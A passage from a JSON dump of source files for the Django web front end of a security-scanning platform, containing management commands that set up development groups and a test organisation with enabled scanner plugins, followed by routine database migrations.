       output_folder = Path(options[\"output_folder\"])\n        output_folder.mkdir(parents=True, exist_ok=True)\n\n        # Find migration record to start from\n        migration_match = MigrationRecorder.Migration.objects.get(\n            app=options[\"app\"], name__istartswith=f\"{options['from_id']:04d}\"\n        )\n\n        migrations_to_export = MigrationRecorder.Migration.objects.filter(\n            id__gte=migration_match.id, app=options[\"app\"]\n        )\n\n        for migration in migrations_to_export:\n            logger.info(\"Exporting %s\", migration.id)\n\n            # Generate SQL\n            target = (migration.app, migration.name)\n            plan = [(loader.graph.nodes[target], False)]\n            sql_statements = loader.collect_sql(plan)\n\n            # Write SQL to file\n            output_file = output_folder / f\"{migration.id:04d}.{migration.app}.{migration.name}.sql\"\n            output_file.write_text(\"\\n\".join(sql_statements))\n"
  },
  {
    "path": "rocky/tools/management/commands/makemessages.py",
    "content": "from django.core.management.commands import makemessages\n\n\nclass Command(makemessages.Command):\n    def write_po_file(self, *args, **kwargs):\n        \"\"\"Overwrite method to do nothing.\n\n        We do not want to interfere with Weblate's\n        \"Update PO files to match POT (msgmerge)\" addon\n        \"\"\"\n        pass\n"
  },
  {
    "path": "rocky/tools/management/commands/setup_dev_account.py",
    "content": "import logging\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group, Permission\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.management import BaseCommand\n\nfrom tools.models import GROUP_ADMIN, GROUP_CLIENT, GROUP_REDTEAM\n\nUser = get_user_model()\n\n\nclass Command(BaseCommand):\n    help = \"Creates the development organization, member, groups and set permissions.\"\n\n    def get_permissions(self, codenames):\n        permission_objects = []\n        if codenames:\n            for codename in codenames:\n                try:\n                    permission = Permission.objects.get(codename=codename)\n                except Permission.DoesNotExist:\n                    raise ObjectDoesNotExist(\"Permission:\" + codename + \" does not exist.\")\n                else:\n                    permission_objects.append(permission.id)\n\n        return permission_objects\n\n    def setup_kat_groups(self):\n        self.group_admin, self.group_admin_created = Group.objects.get_or_create(name=GROUP_ADMIN)\n\n        self.group_redteam, self.group_redteam_created = Group.objects.get_or_create(name=GROUP_REDTEAM)\n\n        self.group_client, self.group_client_created = Group.objects.get_or_create(name=GROUP_CLIENT)\n\n    def handle(self, *args, **options):\n        self.setup_kat_groups()\n\n        redteamer_permissions = [\n            \"can_scan_organization\",\n            \"can_enable_disable_boefje\",\n            \"can_add_boefje\",\n            \"can_set_clearance_level\",\n            \"can_delete_oois\",\n            \"can_mute_findings\",\n            \"can_view_katalogus_settings\",\n            \"can_set_katalogus_settings\",\n        ]\n\n        redteam_permissions = self.get_permissions(redteamer_permissions)\n        self.group_redteam.permissions.set(redteam_permissions)\n\n        admin_permissions = self.get_permissions(\n            redteamer_permissions\n            + [\n                \"view_organization\",\n                \"view_organizationmember\",\n                \"add_organizationmember\",\n                \"change_organization\",\n                \"can_scan_organization\",\n                \"change_organizationmember\",\n                \"add_indemnification\",\n                \"can_recalculate_bits\",\n            ]\n        )\n        self.group_admin.permissions.set(admin_permissions)\n\n        client_permissions = self.get_permissions([\"can_scan_organization\"])\n        self.group_client.permissions.set(client_permissions)\n\n        logging.info(\"ROCKY HAS BEEN SETUP SUCCESSFULLY\")\n"
  },
  {
    "path": "rocky/tools/management/commands/setup_test_org.py",
    "content": "\"\"\"\nDjango management command to set up a test organization with OOIs and boefjes.\n\nUsage:\n    python manage.py setup_test_org\n    python manage.py setup_test_org --code myorg --name \"My Organization\"\n    python manage.py setup_test_org --clearance-level 2\n\"\"\"\n\nimport datetime\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.management.base import BaseCommand\nfrom httpx import HTTPError\nfrom katalogus.client import get_katalogus_client\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import DeclaredScanProfile, ScanLevel\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.web import URL\nfrom rocky.bytes_client import get_bytes_client\nfrom tools.models import Indemnification, Organization, OrganizationMember\nfrom tools.ooi_helpers import create_ooi\n\nUser = get_user_model()\n\n\nclass Command(BaseCommand):\n    help = \"Set up a test organization with OOIs and enabled boefjes\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\"--code\", type=str, default=\"test-org\", help=\"Organization code (default: test-org)\")\n        parser.add_argument(\n            \"--name\", type=str, default=\"Test Organization\", help=\"Organization name (default: Test Organization)\"\n        )\n        parser.add_argument(\n            \"--user\", type=str, default=None, help=\"User email to add as member (default: first superuser)\"\n        )\n        parser.add_argument(\n            \"--clearance-level\",\n            type=int,\n            default=4,\n            choices=[0, 1, 2, 3, 4],\n            help=\"Clearance level for OOIs (default: 4)\",\n        )\n        parser.add_argument(\n            \"--hostname\", type=str, default=\"example.com\", help=\"Hostname to add as OOI (default: example.com)\"\n        )\n        parser.add_argument(\"--skip-boefjes\", action=\"store_true\", help=\"Skip enabling boefjes\")\n\n    def handle(self, *args, **options):\n        org_code = options[\"code\"]\n        org_name = options[\"name\"]\n        clearance_level = options[\"clearance_level\"]\n        hostname = options[\"hostname\"]\n        skip_boefjes = options[\"skip_boefjes\"]\n\n        self.stdout.write(self.style.MIGRATE_HEADING(\"Setting up test organization\"))\n        self.stdout.write(f\"  Code: {org_code}\")\n        self.stdout.write(f\"  Name: {org_name}\")\n        self.stdout.write(f\"  Clearance level: {clearance_level}\")\n        self.stdout.write(\"\")\n\n        # Step 1: Get or create user\n        user = self._get_user(options[\"user\"])\n        if not user:\n            return\n\n        # Step 2: Create organization\n        org = self._create_organization(org_code, org_name)\n        if not org:\n            return\n\n        # Step 3: Create organization member\n        self._create_member(user, org, clearance_level)\n\n        # Step 4: Create indemnification\n        self._create_indemnification(user, org)\n\n        # Step 5: Add OOIs\n        self._add_oois(org_code, hostname, clearance_level)\n\n        # Step 6: Enable boefjes\n        if not skip_boefjes:\n            self._enable_boefjes(org_code)\n\n        self.stdout.write(\"\")\n        self.stdout.write(self.style.SUCCESS(f\"✓ Organization '{org_code}' is ready!\"))\n        self.stdout.write(f\"  URL: http://localhost:8000/en/{org_code}/\")\n\n    def _get_user(self, email):\n        \"\"\"Get user by email or first superuser.\"\"\"\n        if email:\n            user = User.objects.filter(email=email).first()\n            if not user:\n                self.stdout.write(self.style.ERROR(f\"✗ User '{email}' not found\"))\n                return None\n        else:\n            user = User.objects.filter(is_superuser=True).first()\n            if not user:\n                self.stdout.write(self.style.ERROR(\"✗ No superuser found\"))\n                return None\n\n        self.stdout.write(self.style.SUCCESS(f\"✓ Using user: {user.email}\"))\n        return user\n\n    def _create_organization(self, code, name):\n        \"\"\"Create organization (triggers signals for Katalogus/Octopoes).\"\"\"\n        org, created = Organization.objects.get_or_create(code=code, defaults={\"name\": name})\n\n        if created:\n            self.stdout.write(self.style.SUCCESS(f\"✓ Created organization: {code}\"))\n        else:\n            self.stdout.write(self.style.WARNING(f\"⚠ Organization already exists: {code}\"))\n\n        return org\n\n    def _create_member(self, user, org, clearance_level):\n        \"\"\"Create organization member with clearance levels.\"\"\"\n        member, created = OrganizationMember.objects.get_or_create(user=user, organization=org)\n\n        member.trusted_clearance_level = clearance_level\n        member.acknowledged_clearance_level = clearance_level\n        member.onboarded = True\n        member.status = OrganizationMember.STATUSES.ACTIVE\n        member.save()\n\n        if created:\n            self.stdout.write(self.style.SUCCESS(f\"✓ Created member with clearance level {clearance_level}\"))\n        else:\n            self.stdout.write(self.style.SUCCESS(f\"✓ Updated member clearance level to {clearance_level}\"))\n\n        return member\n\n    def _create_indemnification(self, user, org):\n        \"\"\"Create indemnification record.\"\"\"\n        _, created = Indemnification.objects.get_or_create(user=user, organization=org)\n\n        if created:\n            self.stdout.write(self.style.SUCCESS(\"✓ Created indemnification\"))\n        else:\n            self.stdout.write(self.style.WARNING(\"⚠ Indemnification already exists\"))\n\n    def _add_oois(self, org_code, hostname, clearance_level):\n        \"\"\"Add test OOIs to Octopoes with proof in bytes.\"\"\"\n        self.stdout.write(\"Adding OOIs...\")\n\n        octopoes = OctopoesAPIConnector(\n            settings.OCTOPOES_API, client=org_code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n        )\n        bytes_client = get_bytes_client(org_code)\n\n        valid_time = datetime.datetime.now(datetime.timezone.utc)\n\n        # Network (usually already seeded by organization creation signal)\n        network = Network(name=\"internet\")\n        try:\n            create_ooi(octopoes, bytes_client, network, valid_time)\n            self.stdout.write(\"  ✓ Network: internet\")\n        except Exception as e:\n            self.stdout.write(self.style.WARNING(f\"  ⚠ Network: {e}\"))\n\n        # Hostname\n        host = Hostname(name=hostname, network=network.reference)\n        try:\n            create_ooi(octopoes, bytes_client, host, valid_time)\n            self.stdout.write(f\"  ✓ Hostname: {hostname}\")\n        except Exception as e:\n            self.stdout.write(self.style.WARNING(f\"  ⚠ Hostname: {e}\"))\n\n        # www subdomain\n        www_host = Hostname(name=f\"www.{hostname}\", network=network.reference)\n        try:\n            create_ooi(octopoes, bytes_client, www_host, valid_time)\n            self.stdout.write(f\"  ✓ Hostname: www.{hostname}\")\n        except Exception as e:\n            self.stdout.write(self.style.WARNING(f\"  ⚠ www.{hostname}: {e}\"))\n\n        # URL\n        url = URL(raw=f\"https://{hostname}/\", network=network.reference)\n        try:\n            create_ooi(octopoes, bytes_client, url, valid_time)\n            self.stdout.write(f\"  ✓ URL: https://{hostname}/\")\n        except Exception as e:\n            self.stdout.write(self.style.WARNING(f\"  ⚠ URL: {e}\"))\n\n        # Set clearance level on the hostname (not on network)\n        if clearance_level > 0:\n            try:\n                scan_profile = DeclaredScanProfile(reference=host.reference, level=ScanLevel(clearance_level))\n                octopoes.save_scan_profile(scan_profile, valid_time)\n                self.stdout.write(f\"  ✓ Set clearance level {clearance_level} on {host.reference}\")\n            except Exception as e:\n                self.stdout.write(self.style.WARNING(f\"  ⚠ Clearance level: {e}\"))\n\n    def _enable_boefjes(self, org_code):\n        \"\"\"Enable common boefjes for testing.\"\"\"\n        self.stdout.write(\"Enabling boefjes...\")\n\n        boefjes = [\n            \"dns-records\",\n            \"dns-sec\",\n            \"dns-zone\",\n            \"ssl-certificates\",\n            \"security_txt_downloader\",\n            \"webpage-analysis\",\n            \"snyk\",\n            \"shodan_internetdb\",\n            \"nmap\",\n            \"testssl-sh-ciphers\",\n            \"ssl-version\",\n            \"masscan\",\n        ]\n\n        katalogus = get_katalogus_client()\n\n        for boefje_id in boefjes:\n            try:\n                katalogus.enable_boefje_by_id(org_code, boefje_id)\n                self.stdout.write(f\"  ✓ {boefje_id}\")\n            except HTTPError as e:\n                self.stdout.write(self.style.WARNING(f\"  ⚠ {boefje_id}: {e}\"))\n            except Exception as e:\n                self.stdout.write(self.style.WARNING(f\"  ⚠ {boefje_id}: {e}\"))\n"
  },
  {
    "path": "rocky/tools/migrations/0001_initial.py",
    "content": "# Generated by Django 3.2 on 2021-06-21 17:09\n\nimport uuid\n\nimport django.db.models.deletion\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    initial = True\n\n    dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL)]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"Organization\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"name\", models.CharField(max_length=126)),\n                (\"octopoes_host\", models.CharField(default=None, max_length=126, null=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name=\"OrganizationMember\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"authorized\", models.BooleanField(default=False)),\n                (\n                    \"status\",\n                    models.CharField(\n                        choices=[(\"active\", \"active\"), (\"new\", \"new\"), (\"blocked\", \"blocked\")],\n                        default=\"new\",\n                        max_length=64,\n                    ),\n                ),\n                (\"member_name\", models.CharField(max_length=126)),\n                (\"member_role\", models.CharField(max_length=126)),\n                (\"goal\", models.CharField(max_length=256)),\n                (\n                    \"organization\",\n                    models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=\"tools.organization\"),\n                ),\n                (\n                    \"user\",\n                    models.OneToOneField(on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),\n                ),\n            ],\n        ),\n        migrations.CreateModel(\n            name=\"Job\",\n            fields=[\n                (\"id\", models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),\n                (\"tool_module\", models.CharField(max_length=128)),\n                (\"arguments\", models.JSONField()),\n                (\"dispatches\", models.JSONField(default=dict)),\n                (\"created_at\", models.DateTimeField(auto_now_add=True)),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL\n                    ),\n                ),\n            ],\n        ),\n        migrations.CreateModel(\n            name=\"Indemnification\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\n                    \"organization\",\n                    models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=\"tools.organization\"),\n                ),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL\n                    ),\n                ),\n            ],\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0001_squashed_0041_merge_20230731_1131.py",
    "content": "# Generated by Django 4.2.11 on 2024-05-09 14:25\n\nimport django.core.validators\nimport django.db.models.deletion\nimport tagulous.models.fields\nimport tagulous.models.models\nfrom django.conf import settings\nfrom django.db import migrations, models\n\nimport tools.fields\n\n\nclass Migration(migrations.Migration):\n    replaces = [\n        (\"tools\", \"0001_initial\"),\n        (\"tools\", \"0002_alter_organization_octopoes_host\"),\n        (\"tools\", \"0003_change_orgazation_host_to_code\"),\n        (\"tools\", \"0004_ooiinformation\"),\n        (\"tools\", \"0005_scanprofile\"),\n        (\"tools\", \"0006_alter_organization_name\"),\n        (\"tools\", \"0007_update_job\"),\n        (\"tools\", \"0008_organizationmember_verified\"),\n        (\"tools\", \"0009_scanprofile_is_source_ooi\"),\n        (\"tools\", \"0010_alter_scanprofile_reference\"),\n        (\"tools\", \"0011_job_input_ooi\"),\n        (\"tools\", \"0012_rename_module_job_boefje_name\"),\n        (\"tools\", \"0013_boefjeconfig\"),\n        (\"tools\", \"0014_drop_dispatches_field\"),\n        (\"tools\", \"0015_alter_job_input_ooi\"),\n        (\"tools\", \"0016_organization_signal_fields\"),\n        (\"tools\", \"0017_alter_organizationmember_foreignkey\"),\n        (\"tools\", \"0018_alter_boefjeconfig_options\"),\n        (\"tools\", \"0019_alter_scanprofile_remove_level_and_user\"),\n        (\"tools\", \"0020_auto_20220524_1324\"),\n        (\"tools\", \"0021_delete_boefjeconfig\"),\n        (\"tools\", \"0022_alter_organization_options\"),\n        (\"tools\", \"0023_delete_scanprofile\"),\n        (\"tools\", \"0024_auto_20221005_1251\"),\n        (\"tools\", \"0025_auto_20221027_1233\"),\n        (\"tools\", \"0026_auto_20221031_1344\"),\n        (\"tools\", \"0027_auto_20230103_1721\"),\n        (\"tools\", \"0028_auto_20230117_1242\"),\n        (\"tools\", \"0029_set_user_full_name\"),\n        (\"tools\", \"0030_auto_20230227_1458\"),\n        (\"tools\", \"0029_alter_organizationtag_color\"),\n        (\"tools\", \"0031_merge_20230301_2012\"),\n        (\"tools\", \"0032_alter_organizationmember_user\"),\n        (\"tools\", \"0033_auto_20230407_1113\"),\n        (\"tools\", \"0034_organizationmember_groups\"),\n        (\"tools\", \"0035_update_perms_move_and_clear_groups\"),\n        (\"tools\", \"0034_alter_organization_options\"),\n        (\"tools\", \"0035_update_ooi_delete_perm\"),\n        (\"tools\", \"0036_merge_20230504_1629\"),\n        (\"tools\", \"0033_alter_organization_options\"),\n        (\"tools\", \"0037_alter_organization_options\"),\n        (\"tools\", \"0038_delete_job\"),\n        (\"tools\", \"0038_alter_organization_options\"),\n        (\"tools\", \"0039_merge_0038_alter_organization_options_0038_delete_job\"),\n        (\"tools\", \"0039_update_permissions\"),\n        (\"tools\", \"0040_update_admin_permission\"),\n        (\"tools\", \"0040_admin_inherits_red_teamer_permissions\"),\n        (\"tools\", \"0041_merge_20230731_1131\"),\n    ]\n\n    initial = True\n\n    dependencies = [\n        (\"auth\", \"0012_alter_user_first_name_max_length\"),\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n        (\"account\", \"0001_initial\"),\n        (\"contenttypes\", \"0002_remove_content_type_name\"),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"OrganizationTag\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"name\", models.CharField(max_length=255, unique=True)),\n                (\"slug\", models.SlugField()),\n                (\n                    \"count\",\n                    models.IntegerField(default=0, help_text=\"Internal counter of how many times this tag is in use\"),\n                ),\n                (\n                    \"protected\",\n                    models.BooleanField(default=False, help_text=\"Will not be deleted when the count reaches 0\"),\n                ),\n                (\"path\", models.TextField()),\n                (\"label\", models.CharField(help_text=\"The name of the tag, without ancestors\", max_length=255)),\n                (\"level\", models.IntegerField(default=1, help_text=\"The level of the tag in the tree\")),\n                (\n                    \"color\",\n                    models.CharField(\n                        choices=[\n                            (\"color-1-light\", \"Blue light\"),\n                            (\"color-1-medium\", \"Blue medium\"),\n                            (\"color-1-dark\", \"Blue dark\"),\n                            (\"color-2-light\", \"Green light\"),\n                            (\"color-2-medium\", \"Green medium\"),\n                            (\"color-2-dark\", \"Green dark\"),\n                            (\"color-3-light\", \"Yellow light\"),\n                            (\"color-3-medium\", \"Yellow medium\"),\n                            (\"color-3-dark\", \"Yellow dark\"),\n                            (\"color-4-light\", \"Orange light\"),\n                            (\"color-4-medium\", \"Orange medium\"),\n                            (\"color-4-dark\", \"Orange dark\"),\n                            (\"color-5-light\", \"Red light\"),\n                            (\"color-5-medium\", \"Red medium\"),\n                            (\"color-5-dark\", \"Red dark\"),\n                            (\"color-6-light\", \"Violet light\"),\n                            (\"color-6-medium\", \"Violet medium\"),\n                            (\"color-6-dark\", \"Violet dark\"),\n                        ],\n                        default=\"color-1-light\",\n                        max_length=20,\n                    ),\n                ),\n                (\n                    \"border_type\",\n                    models.CharField(\n                        choices=[(\"plain\", \"Plain\"), (\"solid\", \"Solid\"), (\"dashed\", \"Dashed\"), (\"dotted\", \"Dotted\")],\n                        default=\"plain\",\n                        max_length=20,\n                    ),\n                ),\n                (\n                    \"parent\",\n                    models.ForeignKey(\n                        blank=True,\n                        null=True,\n                        on_delete=django.db.models.deletion.CASCADE,\n                        related_name=\"children\",\n                        to=\"tools.organizationtag\",\n                    ),\n                ),\n            ],\n            options={\"ordering\": (\"name\",), \"abstract\": False, \"unique_together\": {(\"slug\", \"parent\")}},\n            bases=(tagulous.models.models.BaseTagTreeModel, models.Model),\n        ),\n        migrations.CreateModel(\n            name=\"Organization\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"name\", models.CharField(help_text=\"The name of the organization\", max_length=126, unique=True)),\n                (\n                    \"code\",\n                    tools.fields.LowerCaseSlugField(\n                        allow_unicode=True,\n                        help_text=\"A slug containing only lower-case unicode letters, numbers, hyphens or underscores that will be used in URLs and paths\",\n                        max_length=32,\n                        unique=True,\n                    ),\n                ),\n                (\n                    \"tags\",\n                    tagulous.models.fields.TagField(\n                        _set_tag_meta=True,\n                        blank=True,\n                        force_lowercase=True,\n                        help_text=\"Enter a comma-separated tag string\",\n                        protect_all=True,\n                        to=\"tools.organizationtag\",\n                        tree=True,\n                    ),\n                ),\n            ],\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        ),\n        migrations.CreateModel(\n            name=\"Indemnification\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\n                    \"organization\",\n                    models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=\"tools.organization\"),\n                ),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL\n                    ),\n                ),\n            ],\n        ),\n        migrations.CreateModel(\n            name=\"OOIInformation\",\n            fields=[\n                (\"id\", models.CharField(max_length=256, primary_key=True, serialize=False)),\n                (\"last_updated\", models.DateTimeField(auto_now=True)),\n                (\"data\", models.JSONField(null=True)),\n                (\"consult_api\", models.BooleanField(default=False)),\n            ],\n        ),\n        migrations.CreateModel(\n            name=\"OrganizationMember\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\n                    \"status\",\n                    models.CharField(choices=[(\"active\", \"active\"), (\"new\", \"new\")], default=\"new\", max_length=64),\n                ),\n                (\n                    \"organization\",\n                    models.ForeignKey(\n                        on_delete=django.db.models.deletion.CASCADE, related_name=\"members\", to=\"tools.organization\"\n                    ),\n                ),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        on_delete=django.db.models.deletion.PROTECT, related_name=\"members\", to=settings.AUTH_USER_MODEL\n                    ),\n                ),\n                (\"onboarded\", models.BooleanField(default=False)),\n                (\n                    \"acknowledged_clearance_level\",\n                    models.IntegerField(\n                        default=-1,\n                        validators=[\n                            django.core.validators.MinValueValidator(-1),\n                            django.core.validators.MaxValueValidator(4),\n                        ],\n                    ),\n                ),\n                (\n                    \"trusted_clearance_level\",\n                    models.IntegerField(\n                        default=-1,\n                        validators=[\n                            django.core.validators.MinValueValidator(-1),\n                            django.core.validators.MaxValueValidator(4),\n                        ],\n                    ),\n                ),\n                (\"blocked\", models.BooleanField(default=False)),\n                (\"groups\", models.ManyToManyField(blank=True, to=\"auth.group\")),\n            ],\n            options={\"unique_together\": {(\"user\", \"organization\")}},\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0002_alter_organization_octopoes_host.py",
    "content": "# Generated by Django 3.2 on 2021-07-17 12:25\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0001_initial\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organization\",\n            name=\"octopoes_host\",\n            field=models.CharField(default=None, max_length=126, null=True, unique=True),\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0003_change_orgazation_host_to_code.py",
    "content": "# Generated by Django 3.2.4 on 2021-07-22 11:24\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0002_alter_organization_octopoes_host\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"organization\", name=\"octopoes_host\"),\n        migrations.AddField(\n            model_name=\"job\",\n            name=\"organization\",\n            field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=\"tools.organization\"),\n        ),\n        migrations.AddField(\n            model_name=\"organization\",\n            name=\"code\",\n            field=models.CharField(default=None, max_length=8, null=True, unique=True),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0004_ooiinformation.py",
    "content": "# Generated by Django 3.2.4 on 2021-08-03 11:01\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0003_change_orgazation_host_to_code\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"OOIInformation\",\n            fields=[\n                (\"id\", models.CharField(max_length=256, primary_key=True, serialize=False)),\n                (\"last_updated\", models.DateTimeField(auto_now=True)),\n                (\"data\", models.JSONField(null=True)),\n                (\"consult_api\", models.BooleanField(default=False)),\n            ],\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0005_scanprofile.py",
    "content": "# Generated by Django 3.2.5 on 2021-10-20 12:45\n\nimport django.db.models.deletion\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL), (\"tools\", \"0004_ooiinformation\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"ScanProfile\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"reference\", models.CharField(max_length=256)),\n                (\n                    \"level\",\n                    models.PositiveSmallIntegerField(\n                        choices=[(0, \"L0\"), (1, \"L1\"), (2, \"L2\"), (3, \"L3\"), (4, \"L4\")], default=0\n                    ),\n                ),\n                (\"new\", models.BooleanField(default=True)),\n                (\n                    \"organization\",\n                    models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to=\"tools.organization\"),\n                ),\n                (\n                    \"user\",\n                    models.ForeignKey(\n                        default=None,\n                        null=True,\n                        on_delete=django.db.models.deletion.SET_NULL,\n                        to=settings.AUTH_USER_MODEL,\n                    ),\n                ),\n            ],\n            options={\"unique_together\": {(\"reference\", \"organization\")}},\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0006_alter_organization_name.py",
    "content": "# Generated by Django 3.2.5 on 2021-10-26 09:08\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0005_scanprofile\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organization\", name=\"name\", field=models.CharField(max_length=126, unique=True)\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0007_update_job.py",
    "content": "# Generated by Django 3.2.5 on 2021-11-01 12:48\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0006_alter_organization_name\")]\n\n    operations = [\n        migrations.RenameField(model_name=\"job\", old_name=\"created_at\", new_name=\"created\"),\n        migrations.RenameField(model_name=\"job\", old_name=\"tool_module\", new_name=\"module\"),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0008_organizationmember_verified.py",
    "content": "# Generated by Django 3.2.4 on 2021-10-08 12:53\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0007_update_job\")]\n\n    operations = [\n        migrations.AddField(model_name=\"organizationmember\", name=\"verified\", field=models.BooleanField(default=False))\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0009_scanprofile_is_source_ooi.py",
    "content": "# Generated by Django 3.2.5 on 2021-10-27 12:48\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0008_organizationmember_verified\")]\n\n    operations = [\n        migrations.AddField(model_name=\"scanprofile\", name=\"is_source_ooi\", field=models.BooleanField(default=False))\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0010_alter_scanprofile_reference.py",
    "content": "# Generated by Django 3.2.5 on 2021-12-07 15:00\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0009_scanprofile_is_source_ooi\")]\n\n    operations = [migrations.AlterField(model_name=\"scanprofile\", name=\"reference\", field=models.TextField())]\n"
  },
  {
    "path": "rocky/tools/migrations/0011_job_input_ooi.py",
    "content": "# Generated by Django 3.2.5 on 2021-12-08 12:13\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0010_alter_scanprofile_reference\")]\n\n    operations = [migrations.AddField(model_name=\"job\", name=\"input_ooi\", field=models.TextField(null=True))]\n"
  },
  {
    "path": "rocky/tools/migrations/0012_rename_module_job_boefje_name.py",
    "content": "# Generated by Django 3.2.10 on 2022-01-10 16:05\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0011_job_input_ooi\")]\n\n    operations = [migrations.RenameField(model_name=\"job\", old_name=\"module\", new_name=\"boefje_name\")]\n"
  },
  {
    "path": "rocky/tools/migrations/0013_boefjeconfig.py",
    "content": "# Generated by Django 3.2.11 on 2022-01-24 15:02\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0012_rename_module_job_boefje_name\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"BoefjeConfig\",\n            fields=[\n                (\"id\", models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"boefje\", models.CharField(max_length=128)),\n                (\"enabled\", models.BooleanField(default=False)),\n                (\n                    \"organization\",\n                    models.ForeignKey(\n                        blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=\"tools.organization\"\n                    ),\n                ),\n            ],\n            options={\"unique_together\": {(\"boefje\", \"organization\")}},\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0014_drop_dispatches_field.py",
    "content": "# Generated by Django 3.2.11 on 2022-01-24 15:37\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0013_boefjeconfig\")]\n\n    operations = [\n        migrations.RemoveField(model_name=\"job\", name=\"dispatches\"),\n        migrations.RenameField(model_name=\"job\", old_name=\"boefje_name\", new_name=\"boefje_id\"),\n    ]\n"
  },
  {
